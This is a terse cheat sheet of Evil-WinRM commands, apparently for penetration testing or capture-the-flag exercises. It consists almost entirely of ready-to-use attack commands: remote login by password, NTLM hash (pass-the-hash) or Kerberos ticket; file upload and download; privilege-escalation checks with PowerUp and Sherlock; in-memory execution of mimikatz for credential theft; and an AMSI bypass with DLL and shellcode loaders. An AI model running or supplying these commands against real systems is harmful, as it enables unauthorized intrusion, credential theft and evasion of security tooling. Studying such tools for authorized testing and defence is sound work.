Evil-WinRM

evil-winrm -i TARGET -u user -p 'password'
evil-winrm -i TARGET -u 'DOMAIN\user' -p 'password'
evil-winrm -i TARGET -u user -H NTLM_HASH

evil-winrm -i TARGET -u user -p 'password' -S

*Evil-WinRM* PS> upload /local/path/file.exe C:\Windows\Temp\file.exe
*Evil-WinRM* PS> download C:\Users\admin\Desktop\flag.txt /tmp/flag.txt

evil-winrm -i TARGET -u user -p 'password' -s /opt/scripts/

*Evil-WinRM* PS> PowerUp.ps1
*Evil-WinRM* PS> Invoke-AllChecks
*Evil-WinRM* PS> Sherlock.ps1
*Evil-WinRM* PS> Find-AllVulns

evil-winrm -i TARGET -u user -p 'password' -e /opt/binaries/

*Evil-WinRM* PS> Invoke-Binary /opt/binaries/mimikatz.exe

*Evil-WinRM* PS> menu
*Evil-WinRM* PS> Bypass-4MSI         # AMSI bypass
*Evil-WinRM* PS> Dll-Loader          # Load DLL
*Evil-WinRM* PS> Donut-Loader        # Shellcode loader

export KRB5CCNAME=ticket.ccache
evil-winrm -i TARGET -r DOMAIN